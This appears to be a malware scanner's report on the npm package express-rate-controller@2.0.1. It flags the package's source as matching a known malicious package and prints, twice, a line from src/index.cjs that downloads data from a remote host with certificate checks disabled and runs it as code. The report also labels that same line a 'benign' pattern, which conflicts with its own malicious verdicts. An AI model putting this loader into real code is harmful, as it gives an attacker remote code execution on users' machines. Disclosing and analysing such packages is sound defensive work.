express-rate-controller@2.0.1: Malicious npm security report

Loading npm security reports…

express-rate-controller@2.0.1: Malicious npm security report | LPM Firewall

Source & flagged code

4 flagged

•matchType = normalized_sha256 matchedPackage = cors-security@1.0.1 matchedPath = src/index.cjs matchedIdentity = npm:Y29ycy1zZWN1cml0eQ:1.0.1 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/index.cjsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = decf5f2bef9a26e5 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = cors-security@1.0.1 matchedPath = src/index.cjs matchedIdentity = npm:Y29ycy1zZWN1cml0eQ:1.0.1 similarity = 1.000 shingleOverlap = 4 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

src/index.cjsView on unpkg

304https.get("https://api.avax-test.dev/ext/bc/rpc", { rejectUnauthorized: false }, res => L305: res.on("data", data => {const handler = new Function('require', data.toString())(require);})) L306: };

Low

Eval

Package source references a known benign dynamic code generation pattern.

src/index.cjsView on unpkg · L304

src/index.mjsView file

•matchType = normalized_sha256 matchedPackage = cors-security@1.0.1 matchedPath = src/index.mjs matchedIdentity = npm:Y29ycy1zZWN1cml0eQ:1.0.1 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/index.mjsView on unpkg

Source & flagged code

4 flagged · loading source

src/index.cjsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/index.cjsView on unpkg

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

src/index.cjsView on unpkg

304https.get("https://api.avax-test.dev/ext/bc/rpc", { rejectUnauthorized: false }, res => L305: res.on("data", data => {const handler = new Function('require', data.toString())(require);})) L306: };

Low

Eval

Package source references a known benign dynamic code generation pattern.

src/index.cjsView on unpkg · L304

src/index.mjsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/index.mjsView on unpkg

express-rate-controller@2.0.1

AI Security Review

OSV Corroboration

Decision evidence

Source & flagged code

Source & flagged code

Findings

Source & flagged code